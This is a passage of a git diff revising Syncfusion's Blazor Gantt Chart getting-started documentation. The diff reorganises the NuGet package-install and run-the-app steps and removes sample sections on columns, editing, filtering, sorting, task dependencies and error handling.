+{% tabs %}
+{% highlight C# tabtitle="VS Code Terminal" %}
+
+dotnet add package Syncfusion.Blazor.Gantt --version {{ site.releaseversion }}
+dotnet add package Syncfusion.Blazor.Themes --version {{ site.releaseversion }}
 
+{% endhighlight %}
 {% endtabs %}
 
 {% endtabcontent %}
@@ -66,7 +98,7 @@ dotnet --version
 {% endhighlight %}
 {% endtabs %}
 
-## Create a Blazor Server App using .NET CLI
+## Create a Blazor Server App
 
 Run the following command to create a new Blazor Server App in a command prompt (Windows) or terminal (macOS) or command shell (Linux). For detailed instructions, refer to the [Blazor Server App Getting Started](https://blazor.syncfusion.com/documentation/getting-started/blazor-server-side-visual-studio?tabcontent=.net-cli) documentation.
 
@@ -79,41 +111,28 @@ cd BlazorApp
 {% endhighlight %}
 {% endtabs %}
 
-{% endtabcontent %}
-
-{% endtabcontents %}
-
-N> Configure the appropriate [Interactive render mode](https://learn.microsoft.com/en-us/aspnet/core/blazor/components/render-modes?view=aspnetcore-10.0#render-modes) and [Interactivity location](https://learn.microsoft.com/en-us/aspnet/core/blazor/tooling?view=aspnetcore-10.0&pivots=vs) while creating a Blazor Server App. For detailed information, refer to the [interactive render mode documentation](https://blazor.syncfusion.com/documentation/common/interactive-render-mode).
-
 ## Install Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor packages
 
-Install [Syncfusion.Blazor.Gantt](https://www.nuget.org/packages/Syncfusion.Blazor.Gantt/) and [Syncfusion.Blazor.Themes](https://www.nuget.org/packages/Syncfusion.Blazor.Themes/) NuGet packages in your project using the NuGet Package Manager in Visual Studio (*Tools → NuGet Package Manager → Manage NuGet Packages for Solution*), or the integrated terminal in Visual Studio Code (`dotnet add package`), or the .NET CLI.
+Then, install [Syncfusion.Blazor.Gantt](https://www.nuget.org/packages/Syncfusion.Blazor.Gantt/) and [Syncfusion.Blazor.Themes](https://www.nuget.org/packages/Syncfusion.Blazor.Themes/) NuGet packages using the .NET CLI.
 
-Alternatively, run the following commands in the Package Manager Console to achieve the same.
+Run the following commands in your command prompt, terminal, or command shell:
 
 {% tabs %}
-{% highlight C# tabtitle="Package Manager" %}
+{% highlight C# tabtitle=".NET CLI" %}
 
-Install-Package Syncfusion.Blazor.Gantt -Version {{ site.releaseversion }}
-Install-Package Syncfusion.Blazor.Themes -Version {{ site.releaseversion }}
+dotnet add package Syncfusion.Blazor.Gantt --version {{ site.releaseversion }}
+dotnet add package Syncfusion.Blazor.Themes --version {{ site.releaseversion }}
 
 {% endhighlight %}
 {% endtabs %}
 
-N> All Syncfusion Blazor packages are available on [nuget.org](https://www.nuget.org/packages?q=syncfusion.blazor). See the [NuGet packages](https://blazor.syncfusion.com/documentation/nuget-packages) topic for details.
-
-## Add import namespaces
-
-After the packages are installed, open the **~/_Imports.razor** file and import the `Syncfusion.Blazor` and `Syncfusion.Blazor.Gantt` namespaces.
+{% endtabcontent %}
 
-{% tabs %}
-{% highlight C# tabtitle="~/_Imports.razor" %}
+{% endtabcontents %}
 
-@using Syncfusion.Blazor
-@using Syncfusion.Blazor.Gantt
+N> Configure the appropriate [Interactive render mode](https://learn.microsoft.com/en-us/aspnet/core/blazor/components/render-modes?view=aspnetcore-10.0#render-modes) and [Interactivity location](https://learn.microsoft.com/en-us/aspnet/core/blazor/tooling?view=aspnetcore-10.0&pivots=vs) while creating a Blazor Server App. For detailed information, refer to the [interactive render mode documentation](https://blazor.syncfusion.com/documentation/common/interactive-render-mode).
 
-{% endhighlight %}
-{% endtabs %}
+N> All Syncfusion Blazor packages are available on [nuget.org](https://www.nuget.org/packages?q=syncfusion.blazor). See the [NuGet packages](https://blazor.syncfusion.com/documentation/nuget-packages) topic for details.
 
 ## Register Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor service
 
@@ -135,6 +154,9 @@ builder.Services.AddSyncfusionBlazor();
 
 The theme stylesheet and script can be accessed from NuGet through [Static Web Assets](https://blazor.syncfusion.com/documentation/appearance/themes#static-web-assets). Include the stylesheet and script references in the **~/Components/App.razor** file.
 
+- Add the **stylesheet reference inside the `<head>` tag** of the `App.razor` file.
+- Add the **script reference inside the `<body>` tag** of the `App.razor` file.
+
 ```html
 
 <link href="_content/Syncfusion.Blazor.Themes/fluent2.css" rel="stylesheet" />
@@ -154,7 +176,7 @@ N> If the Interactivity Location is set to `Global`, the render mode is automati
 {% tabs %}
 {% highlight razor %}
 
-@* desired render mode define here *@
+@* Define the desired render mode here *@
 @rendermode InteractiveServer
 
 {% endhighlight %}
@@ -163,301 +185,11 @@ N> If the Interactivity Location is set to `Global`, the render mode is automati
 {% tabs %}
 {% highlight razor tabtitle="Home.razor" %}
 
-<SfGantt DataSource="@TaskCollection" Height="450px" Width="700px">
-    <GanttTaskFields Id="TaskID" Name="TaskName" StartDate="StartDate" EndDate="EndDate" Duration="Duration" Progress="Progress" ParentID="ParentID">
-    </GanttTaskFields>
-</SfGantt>
-
-@code{
-    private List<TaskData> TaskCollection { get; set; }
-    protected override void OnInitialized()
-    {
-        this.TaskCollection = GetTaskCollection();
-    }
-
-    public class TaskData
-    {
-        public int TaskID { get; set; }
-        public string TaskName { get; set; }
-        public DateTime StartDate { get; set; }
-        public DateTime EndDate { get; set; }
-        public string Duration { get; set; }
-        public int Progress { get; set; }
-        public int? ParentID { get; set; }
-    }
-
-    private static List<TaskData> GetTaskCollection()
-    {
-        List<TaskData> Tasks = new List<TaskData>()
-        {
-            new TaskData() { TaskID = 1, TaskName = "Project initiation", StartDate = new DateTime(2022, 01, 04), EndDate = new DateTime(2022, 01, 07), },
-            new TaskData() { TaskID = 2, TaskName = "Identify Site location", StartDate = new DateTime(2022, 01, 04), Duration = "0", Progress = 30, ParentID = 1, },
-            new TaskData() { TaskID = 3, TaskName = "Perform soil test", StartDate = new DateTime(2022, 01, 04), Duration = "4", Progress = 40, ParentID = 1, },
-            new TaskData() { TaskID = 4, TaskName = "Soil test approval", StartDate = new DateTime(2022, 01, 04), Duration = "0", Progress = 30, ParentID = 1, },
-            new TaskData() { TaskID = 5, TaskName = "Project estimation", StartDate = new DateTime(2022, 01, 06), EndDate = new DateTime(2022, 01, 10), },
-            new TaskData() { TaskID = 6, TaskName = "Develop floor plan for estimation", StartDate = new DateTime(2022, 01, 06), Duration = "3", Progress = 30, ParentID = 5, },
-            new TaskData() { TaskID = 7, TaskName = "List materials", StartDate = new DateTime(2022, 01, 06), Duration = "3", Progress = 40, ParentID = 5, },
-            new TaskData() { TaskID = 8, TaskName = "Estimation approval", StartDate = new DateTime(2022, 01, 06), Duration = "0", Progress = 30, ParentID = 5, }
-        };
-        return Tasks;
-    }
-}
-
-{% endhighlight %}
-{% endtabs %}
-
-{% previewsample "https://blazorplayground.syncfusion.com/embed/VthyWNVzLgvAOlvq?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" %}
-
-* Press <kbd>Ctrl</kbd>+<kbd>F5</kbd> (Windows) or <kbd>⌘</kbd>+<kbd>F5</kbd> (macOS) to launch the application. This will render the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Gantt Chart component in your default web browser.
-
-## Binding Gantt Chart with Data and mapping task fields
-
-Bind data with the Gantt Chart component by using the [DataSource](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Gantt.SfGantt-1.html#Syncfusion_Blazor_Gantt_SfGantt_1_DataSource) property. It accepts the list objects or the DataManager instance. 
-
-Additionally, task-related fields from the data source are mapped to the Gantt Chart component using the [GanttTaskFields](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Gantt.GanttTaskFields.html) property. This property ensures that the necessary task fields, such as [Id](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Gantt.GanttTaskFields.html#Syncfusion_Blazor_Gantt_GanttTaskFields_Id), [Name](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Gantt.GanttTaskFields.html#Syncfusion_Blazor_Gantt_GanttTaskFields_Name), [StartDate](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Gantt.GanttTaskFields.html#Syncfusion_Blazor_Gantt_GanttTaskFields_StartDate), [EndDate](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Gantt.GanttTaskFields.html#Syncfusion_Blazor_Gantt_GanttTaskFields_EndDate), [Duration](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Gantt.GanttTaskFields.html#Syncfusion_Blazor_Gantt_GanttTaskFields_Duration), and [ParentID](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Gantt.GanttTaskFields.html#Syncfusion_Blazor_Gantt_GanttTaskFields_ParentID) are properly linked to the corresponding data source fields, allowing the Gantt Chart to render tasks accurately. The columns in the Gantt Chart are automatically rendered based on the properties specified in `GanttTaskFields`, ensuring that the necessary columns are displayed to represent the task data.
-
-This following sample shows self-referential data binding in the Gantt Chart by mapping the data source fields to the `Id` and `ParentID` properties. For more detailed information, refer to the [documentation](https://blazor.syncfusion.com/documentation/gantt-chart/data-binding#self-referential--flat-data-binding).
-
-{% tabs %}
-{% highlight razor tabtitle="Home.razor" %}
-
-<SfGantt DataSource="@TaskCollection" Height="450px" Width="700px">
-    <GanttTaskFields Id="TaskID" Name="TaskName" StartDate="StartDate" EndDate="EndDate" Duration="Duration" Progress="Progress" ParentID="ParentID">
-    </GanttTaskFields>
-</SfGantt>
-
-@code{
-    private List<TaskData> TaskCollection { get; set; }
-    protected override void OnInitialized()
-    {
-        this.TaskCollection = GetTaskCollection();
-    }
-
-    public class TaskData
-    {
-        public int TaskID { get; set; }
-        public string TaskName { get; set; }
-        public DateTime StartDate { get; set; }
-        public DateTime EndDate { get; set; }
-        public string Duration { get; set; }
-        public int Progress { get; set; }
-        public int? ParentID { get; set; }
-    }
-
-    private static List<TaskData> GetTaskCollection()
-    {
-        List<TaskData> Tasks = new List<TaskData>()
-        {
-            new TaskData() { TaskID = 1, TaskName = "Project initiation", StartDate = new DateTime(2022, 01, 04), EndDate = new DateTime(2022, 01, 07), },
-            new TaskData() { TaskID = 2, TaskName = "Identify Site location", StartDate = new DateTime(2022, 01, 04), Duration = "0", Progress = 30, ParentID = 1, },
-            new TaskData() { TaskID = 3, TaskName = "Perform soil test", StartDate = new DateTime(2022, 01, 04), Duration = "4", Progress = 40, ParentID = 1, },
-            new TaskData() { TaskID = 4, TaskName = "Soil test approval", StartDate = new DateTime(2022, 01, 04), Duration = "0", Progress = 30, ParentID = 1, },
-            new TaskData() { TaskID = 5, TaskName = "Project estimation", StartDate = new DateTime(2022, 01, 06), EndDate = new DateTime(2022, 01, 10), },
-            new TaskData() { TaskID = 6, TaskName = "Develop floor plan for estimation", StartDate = new DateTime(2022, 01, 06), Duration = "3", Progress = 30, ParentID = 5, },
-            new TaskData() { TaskID = 7, TaskName = "List materials", StartDate = new DateTime(2022, 01, 06), Duration = "3", Progress = 40, ParentID = 5, },
-            new TaskData() { TaskID = 8, TaskName = "Estimation approval", StartDate = new DateTime(2022, 01, 06), Duration = "0", Progress = 30, ParentID = 5, }
-        };
-        return Tasks;
-    }
-}
-
-{% endhighlight %}
-{% endtabs %}
-
-{% previewsample "https://blazorplayground.syncfusion.com/embed/hjLeMZLfLAFkPmGF?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" %}
-
-## Defining columns
-
-The Gantt Chart has an option to define columns using the [GanttColumns](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Gantt.GanttColumns.html) component. To configure each column, use the following properties:
-
-* [Field](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Gantt.GanttColumn.html#Syncfusion_Blazor_Gantt_GanttColumn_Field): Maps the data source fields to the columns.
-* [HeaderText](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Gantt.GanttColumn.html#Syncfusion_Blazor_Gantt_GanttColumn_HeaderText): Changes the title of columns.
-* [TextAlign](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Gantt.GanttColumn.html#Syncfusion_Blazor_Gantt_GanttColumn_TextAlign): Changes the alignment of columns. By default, columns will be left aligned. To change the columns to right align, set `TextAlign` to right.
-* [Format](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Gantt.GanttColumn.html#Syncfusion_Blazor_Gantt_GanttColumn_Format): Formats the number and date values to standard or custom formats. Here, it is defined for the conversion of numeric values to currency.
-* [Visible](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Gantt.GanttColumn.html#Syncfusion_Blazor_Gantt_GanttColumn_Visible): Show or hide a particular column. By default, columns are visible. Set this property to **false** to hide the column or **true** to make it visible.
-* [Width](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Gantt.GanttColumn.html#Syncfusion_Blazor_Gantt_GanttColumn_Width): To specify the width of the column, which can be defined in **pixels** or as a **percentage** of the total column width.
-
-{% tabs %}
-{% highlight razor tabtitle="Home.razor" %}
-
-@using Syncfusion.Blazor.Grids
-
-<SfGantt DataSource="@TaskCollection" Height="450px" Width="700px">
-    <GanttTaskFields Id="TaskID" Name="TaskName" StartDate="StartDate" EndDate="EndDate" Duration="Duration" Progress="Progress" ParentID="ParentID">
-    </GanttTaskFields>
-    <GanttColumns>
-        <GanttColumn Field="TaskID" HeaderText="Task ID" TextAlign="Syncfusion.Blazor.Grids.TextAlign.Right" Width="100"></GanttColumn>
-        <GanttColumn Field="TaskName" HeaderText="Task Name" Width="250"></GanttColumn>
-        <GanttColumn Field="StartDate" HeaderText="Start Date" Width="250"></GanttColumn>
-        <GanttColumn Field="Duration" HeaderText="Duration" Width="250"></GanttColumn>
-        <GanttColumn Field="Progress" HeaderText="Progress" Format="@NumberFormat" Width="250"></GanttColumn>
-    </GanttColumns>
-</SfGantt>
-
-@code{
-    private List<TaskData> TaskCollection { get; set; }
-    private string NumberFormat = "C";
-    protected override void OnInitialized()
-    {
-        this.TaskCollection = GetTaskCollection();
-    }
-
-    public class TaskData
-    {
-        public int TaskID { get; set; }
-        public string TaskName { get; set; }
-        public DateTime StartDate { get; set; }
-        public DateTime EndDate { get; set; }
-        public string Duration { get; set; }
-        public int Progress { get; set; }
-        public int? ParentID { get; set; }
-    }
-
-    private static List<TaskData> GetTaskCollection()
-    {
-        List<TaskData> Tasks = new List<TaskData>()
-        {
-            new TaskData() { TaskID = 1, TaskName = "Project initiation", StartDate = new DateTime(2022, 01, 04), EndDate = new DateTime(2022, 01, 07), },
-            new TaskData() { TaskID = 2, TaskName = "Identify Site location", StartDate = new DateTime(2022, 01, 04), Duration = "0", Progress = 30, ParentID = 1, },
-            new TaskData() { TaskID = 3, TaskName = "Perform soil test", StartDate = new DateTime(2022, 01, 04), Duration = "4", Progress = 40, ParentID = 1, },
-            new TaskData() { TaskID = 4, TaskName = "Soil test approval", StartDate = new DateTime(2022, 01, 04), Duration = "0", Progress = 30, ParentID = 1, },
-            new TaskData() { TaskID = 5, TaskName = "Project estimation", StartDate = new DateTime(2022, 01, 06), EndDate = new DateTime(2022, 01, 10), },
-            new TaskData() { TaskID = 6, TaskName = "Develop floor plan for estimation", StartDate = new DateTime(2022, 01, 06), Duration = "3", Progress = 30, ParentID = 5, },
-            new TaskData() { TaskID = 7, TaskName = "List materials", StartDate = new DateTime(2022, 01, 06), Duration = "3", Progress = 40, ParentID = 5, },
-            new TaskData() { TaskID = 8, TaskName = "Estimation approval", StartDate = new DateTime(2022, 01, 06), Duration = "0", Progress = 30, ParentID = 5, }
-        };
-        return Tasks;
-    }
-}
-
-{% endhighlight %}
-{% endtabs %}
-
-{% previewsample "https://blazorplayground.syncfusion.com/embed/VZLeWDVzBAiIgBkv?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" %}
-
-For further details regarding columns, refer [here](https://blazor.syncfusion.com/documentation/gantt-chart/columns).
-
-## Enable editing
-
-The editing feature enables you to edit the tasks in the Gantt Chart component. To activate this functionality, set both [EditSettings.AllowEditing](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Gantt.GanttEditSettings.html#Syncfusion_Blazor_Gantt_GanttEditSettings_AllowEditing) and [EditSettings.AllowTaskbarEditing](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Gantt.GanttEditSettings.html#Syncfusion_Blazor_Gantt_GanttEditSettings_AllowTaskbarEditing)  properties to **true**.
-
-{% tabs %}
-{% highlight razor tabtitle="Home.razor" %}
+@using Syncfusion.Blazor.Gantt
 
 <SfGantt DataSource="@TaskCollection" Height="450px" Width="700px">
     <GanttTaskFields Id="TaskID" Name="TaskName" StartDate="StartDate" EndDate="EndDate" Duration="Duration" Progress="Progress" ParentID="ParentID">
     </GanttTaskFields>
-    <GanttEditSettings AllowEditing="true" Mode="Syncfusion.Blazor.Gantt.EditMode.Auto" AllowTaskbarEditing="true"></GanttEditSettings>
-</SfGantt>
-
-@code{
-    private List<TaskData> TaskCollection { get; set; }
-    protected override void OnInitialized()
-    {
-        this.TaskCollection = GetTaskCollection();
-    }
-
-    public class TaskData
-    {
-        public int TaskID { get; set; }
-        public string TaskName { get; set; }
-        public DateTime StartDate { get; set; }
-        public DateTime EndDate { get; set; }
-        public string Duration { get; set; }
-        public int Progress { get; set; }
-        public int? ParentID { get; set; }
-    }
-
-    private static List<TaskData> GetTaskCollection()
-    {
-        List<TaskData> Tasks = new List<TaskData>()
-        {
-            new TaskData() { TaskID = 1, TaskName = "Project initiation", StartDate = new DateTime(2022, 01, 04), EndDate = new DateTime(2022, 01, 07), },
-            new TaskData() { TaskID = 2, TaskName = "Identify Site location", StartDate = new DateTime(2022, 01, 04), Duration = "0", Progress = 30, ParentID = 1, },
-            new TaskData() { TaskID = 3, TaskName = "Perform soil test", StartDate = new DateTime(2022, 01, 04), Duration = "4", Progress = 40, ParentID = 1, },
-            new TaskData() { TaskID = 4, TaskName = "Soil test approval", StartDate = new DateTime(2022, 01, 04), Duration = "0", Progress = 30, ParentID = 1, },
-            new TaskData() { TaskID = 5, TaskName = "Project estimation", StartDate = new DateTime(2022, 01, 06), EndDate = new DateTime(2022, 01, 10), },
-            new TaskData() { TaskID = 6, TaskName = "Develop floor plan for estimation", StartDate = new DateTime(2022, 01, 06), Duration = "3", Progress = 30, ParentID = 5, },
-            new TaskData() { TaskID = 7, TaskName = "List materials", StartDate = new DateTime(2022, 01, 06), Duration = "3", Progress = 40, ParentID = 5, },
-            new TaskData() { TaskID = 8, TaskName = "Estimation approval", StartDate = new DateTime(2022, 01, 06), Duration = "0", Progress = 30, ParentID = 5, }
-        };
-        return Tasks;
-    }
-}
-
-{% endhighlight %}
-{% endtabs %}
-
-{% previewsample "https://blazorplayground.syncfusion.com/embed/VZLeWDVzBAiIgBkv?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" %}
-
-N> When the edit mode is set to `Auto`, you can change the cells to editable mode by double-clicking anywhere at the Tree Grid and edit the task details in the edit dialog by double-clicking anywhere at the chart.
-
-You can find the full information regarding Editing from [here](https://blazor.syncfusion.com/documentation/gantt-chart/managing-tasks)
-
-## Enable filtering
-
-The filtering feature enables you to view the reduced amount of records based on filter criteria. The Gantt Chart supports column-wise menu filtering. To enable this feature, set the [AllowFiltering](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Gantt.SfGantt-1.html#Syncfusion_Blazor_Gantt_SfGantt_1_AllowFiltering) property to **true**. The filtering behavior can be customized using the [FilterSettings](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Gantt.SfGantt-1.html#Syncfusion_Blazor_Gantt_SfGantt_1_FilterSettings) property.
-
-{% tabs %}
-{% highlight razor tabtitle="Home.razor" %}
-
-<SfGantt DataSource="@TaskCollection" Height="450px" Width="700px" AllowFiltering="true">
-    <GanttTaskFields Id="TaskID" Name="TaskName" StartDate="StartDate" EndDate="EndDate" Duration="Duration" Progress="Progress" ParentID="ParentID">
-    </GanttTaskFields>
-</SfGantt>
-
-@code{
-    private List<TaskData> TaskCollection { get; set; }
-    protected override void OnInitialized()
-    {
-        this.TaskCollection = GetTaskCollection();
-    }
-
-    public class TaskData
-    {
-        public int TaskID { get; set; }
-        public string TaskName { get; set; }
-        public DateTime StartDate { get; set; }
-        public DateTime EndDate { get; set; }
-        public string Duration { get; set; }
-        public int Progress { get; set; }
-        public int? ParentID { get; set; }
-    }
-
-    private static List<TaskData> GetTaskCollection()
-    {
-        List<TaskData> Tasks = new List<TaskData>()
-        {
-            new TaskData() { TaskID = 1, TaskName = "Project initiation", StartDate = new DateTime(2022, 01, 04), EndDate = new DateTime(2022, 01, 07), },
-            new TaskData() { TaskID = 2, TaskName = "Identify Site location", StartDate = new DateTime(2022, 01, 04), Duration = "0", Progress = 30, ParentID = 1, },
-            new TaskData() { TaskID = 3, TaskName = "Perform soil test", StartDate = new DateTime(2022, 01, 04), Duration = "4", Progress = 40, ParentID = 1, },
-            new TaskData() { TaskID = 4, TaskName = "Soil test approval", StartDate = new DateTime(2022, 01, 04), Duration = "0", Progress = 30, ParentID = 1, },
-            new TaskData() { TaskID = 5, TaskName = "Project estimation", StartDate = new DateTime(2022, 01, 06), EndDate = new DateTime(2022, 01, 10), },
-            new TaskData() { TaskID = 6, TaskName = "Develop floor plan for estimation", StartDate = new DateTime(2022, 01, 06), Duration = "3", Progress = 30, ParentID = 5, },
-            new TaskData() { TaskID = 7, TaskName = "List materials", StartDate = new DateTime(2022, 01, 06), Duration = "3", Progress = 40, ParentID = 5, },
-            new TaskData() { TaskID = 8, TaskName = "Estimation approval", StartDate = new DateTime(2022, 01, 06), Duration = "0", Progress = 30, ParentID = 5, }
-        };
-        return Tasks;
-    }
-}
-
-{% endhighlight %}
-{% endtabs %}
-
-{% previewsample "https://blazorplayground.syncfusion.com/embed/rjheMNhfrqtjOYfG?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" %}
-
-You can find the full information regarding Filtering from [here](https://blazor.syncfusion.com/documentation/gantt-chart/filtering)
-
-## Enable sorting
-
-The sorting feature enables you to order the records. To enable sorting in the Gantt Chart, set the [AllowSorting](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Gantt.SfGantt-1.html#Syncfusion_Blazor_Gantt_SfGantt_1_AllowSorting) property to **true**. The sorting behavior can be customized using the [SortSettings](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Gantt.SfGantt-1.html#Syncfusion_Blazor_Gantt_SfGantt_1_SortSettings) property to define the sorting configuration.
-
-{% tabs %}
-{% highlight razor tabtitle="Home.razor" %}
-
-<SfGantt DataSource="@TaskCollection" Height="450px" Width="700px" AllowSorting="true">
-    <GanttTaskFields Id="TaskID" Name="TaskName" StartDate="StartDate" EndDate="EndDate" Duration="Duration" Progress="Progress" ParentID="ParentID">
-    </GanttTaskFields>
 </SfGantt>
 
 @code{
@@ -498,115 +230,21 @@ The sorting feature enables you to order the records. To enable sorting in the G
 {% endhighlight %}
 {% endtabs %}
 
-{% previewsample "https://blazorplayground.syncfusion.com/embed/LjLeCZLJVrvlKPai?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" %}
-
-You can find the full information regarding Sorting from [here](https://blazor.syncfusion.com/documentation/gantt-chart/sorting)
-
-## Enabling Predecessors or task relationships
-
-The Gantt Chart component supports task dependencies to define the logical sequence of task execution. These relationships control the scheduling behavior between tasks based on their start and finish times.
-
-- **Start to Start (SS)**: The successor task begins when the predecessor task begins.
-- **Start to Finish (SF)**: The successor task finishes when the predecessor task begins.
-- **Finish to Start (FS)**: The successor task begins when the predecessor task finishes.
-- **Finish to Finish (FF)**: The successor task finishes when the predecessor task finishes.
-
-These relationships can be configured using the [Dependency](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Gantt.GanttTaskFields.html#Syncfusion_Blazor_Gantt_GanttTaskFields_Dependency) property in the task data.
-
-{% tabs %}
-{% highlight razor tabtitle="Home.razor" %}
-
-<SfGantt DataSource="@TaskCollection" Height="450px" Width="700px">
-    <GanttTaskFields Id="TaskID" Name="TaskName" StartDate="StartDate" EndDate="EndDate" Duration="Duration" Progress="Progress" ParentID="ParentID" Dependency="Predecessor">
-    </GanttTaskFields>
-</SfGantt>
-
-@code{
-    private List<TaskData> TaskCollection { get; set; }
-    protected override void OnInitialized()
-    {
-        this.TaskCollection = GetTaskCollection();
-    }
-
-    public class TaskData
-    {
-        public int TaskID { get; set; }
-        public string TaskName { get; set; }
-        public DateTime StartDate { get; set; }
-        public DateTime EndDate { get; set; }
-        public string Duration { get; set; }
-        public int Progress { get; set; }
-        public string Predecessor { get; set; }
-        public int? ParentID { get; set; }
-    }
-
-    public static List<TaskData> GetTaskCollection()
-    {
-        List<TaskData> Tasks = new List<TaskData>() {
-            new TaskData() { TaskID = 1, TaskName = "Project initiation", StartDate = new DateTime(2022, 04, 05), EndDate = new DateTime(2022, 04, 21), },
-            new TaskData() { TaskID = 2, TaskName = "Identify Site location", StartDate = new DateTime(2022, 04, 05), Duration = "4", Progress = 50, ParentID = 1 },
-            new TaskData() { TaskID = 3, TaskName = "Perform soil test", StartDate = new DateTime(2022, 04, 05), Duration = "4", Progress = 50, ParentID = 1, Predecessor = "2" }
-        };
-        return Tasks;
-    }
-}
-
-{% endhighlight %}
-{% endtabs %}
-
-{% previewsample "https://blazorplayground.syncfusion.com/embed/LjrSsXrzhfcIfBtG?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" %}
-
-You can find the full information regarding Predecessors from [here](https://blazor.syncfusion.com/documentation/gantt-chart/task-dependencies)
-
-## Handling exceptions
-
-Exceptions triggered during Gantt operations can be handled effectively without interrupting the application. These errors are captured using the [OnActionFailure](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Gantt.GanttEvents-1.html#Syncfusion_Blazor_Gantt_GanttEvents_1_OnActionFailure) event, which provides detailed information returned from the server. This allows for appropriate handling, logging, or user notification without affecting the overall workflow.
-
-The following sample code demonstrates notifying user when server-side exception has occurred during data operation,
-
-{% tabs %}
-{% highlight razor tabtitle="Home.razor" %}
-
-@using Syncfusion.Blazor
-@using Syncfusion.Blazor.Data
-@using Syncfusion.Blazor.Gantt
-@using Syncfusion.Blazor.Grids
-
-<label class="error" style="display:block; color: red; margin-bottom: 20px;">@ErrorDetails</label>
-<SfGantt TValue="TaskData" Height="450px" Width="700px">
-     <SfDataManager Url="https://some.com/invalidUrl" Adaptor="Adaptors.UrlAdaptor"></SfDataManager>
-    <GanttTaskFields Id="TaskID" Name="TaskName" StartDate="StartDate" EndDate="EndDate" Duration="Duration"
-        Progress="Progress" ParentID="ParentID">
-    </GanttTaskFields>
-    <GanttEvents TValue="TaskData" OnActionFailure="ActionFailure"></GanttEvents>
-</SfGantt>
+{% previewsample "https://blazorplayground.syncfusion.com/embed/VthyWNVzLgvAOlvq?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" %}
 
-@code{
-    private string ErrorDetails = "";
-    public class TaskData
-    {
-        public int TaskID { get; set; }
-        public string TaskName { get; set; }
-        public DateTime? StartDate { get; set; }
-        public DateTime? EndDate { get; set; }
-        public string Duration { get; set; }
-        public int Progress { get; set; }
-        public int? ParentID { get; set; }
-    }
+### Run the application
 
-    public void ActionFailure(Syncfusion.Blazor.Grids.FailureEventArgs args)
-    {
-        this.ErrorDetails = args.Error.Message.ToString();
-        StateHasChanged();
-    }
-}
+**Visual Studio**:
 
-{% endhighlight %}
-{% endtabs %}
+* Press <kbd>Ctrl</kbd>+<kbd>F5</kbd> (Windows) or <kbd>⌘</kbd>+<kbd>F5</kbd> (macOS) to launch the application. The Blazor Gantt Chart component will render in your default web browser.
 
-{% previewsample "https://blazorplayground.syncfusion.com/embed/VXrosNrTBJxCLRgJ?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" %}
+**Visual Studio Code or .NET CLI**:
 
-N> [View Sample in GitHub](https://github.com/SyncfusionExamples/Blazor-Getting-Started-Examples/tree/main/GanttChart).
+1. Open a terminal in the project directory and run the following command:
+    ```
+    dotnet run
+    ```
+2. The application will start and display in your default web browser.
 
 ## See also
 
diff --git a/blazor/gantt-chart/getting-started-with-web-app.md b/blazor/gantt-chart/getting-started-with-web-app.md
index 4ce2a7173d..4195a4dccd 100644
--- a/blazor/gantt-chart/getting-started-with-web-app.md
+++ b/blazor/gantt-chart/getting-started-with-web-app.md
@@ -21,10 +21,31 @@ This section briefly explains about how to include [Syncfusion<sup style="font-s
 
 * [System requirements for Blazor components](https://blazor.syncfusion.com/documentation/system-requirements)
 
-## Create a new Blazor Web App in Visual Studio
+## Create a new Blazor Web App
 
 Create a **Blazor Web App** using Visual Studio via [Microsoft Templates](https://learn.microsoft.com/en-us/aspnet/core/blazor/tooling?view=aspnetcore-10.0&pivots=vs) or the [Syncfusion® Blazor Extension](https://blazor.syncfusion.com/documentation/visual-studio-integration/template-studio). For detailed instructions, refer to the [Blazor Web App Getting Started](https://blazor.syncfusion.com/documentation/getting-started/blazor-web-app) documentation.
 
+## Install Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor packages
+
+Install [Syncfusion.Blazor.Gantt](https://www.nuget.org/packages/Syncfusion.Blazor.Gantt) and [Syncfusion.Blazor.Themes](https://www.nuget.org/packages/Syncfusion.Blazor.Themes/) NuGet packages in your project using the NuGet Package Manager.
+
+1. Go to **Tools → NuGet Package Manager → Manage NuGet Packages for Solution**
+2. Search for `Syncfusion.Blazor.Gantt` and install the latest version
+3. Search for `Syncfusion.Blazor.Themes` and install the latest version
+
+Alternatively, run the following commands in the Package Manager Console:
+
+{% tabs %}
+{% highlight C# tabtitle="Package Manager" %}
+
+Install-Package Syncfusion.Blazor.Gantt -Version {{ site.releaseversion }}
+Install-Package Syncfusion.Blazor.Themes -Version {{ site.releaseversion }}
+
+{% endhighlight %}
+{% endtabs %}
+
+If using the `WebAssembly` or `Auto` render modes in the Blazor Web App, install these packages in the client project.
+
 {% endtabcontent %}
 
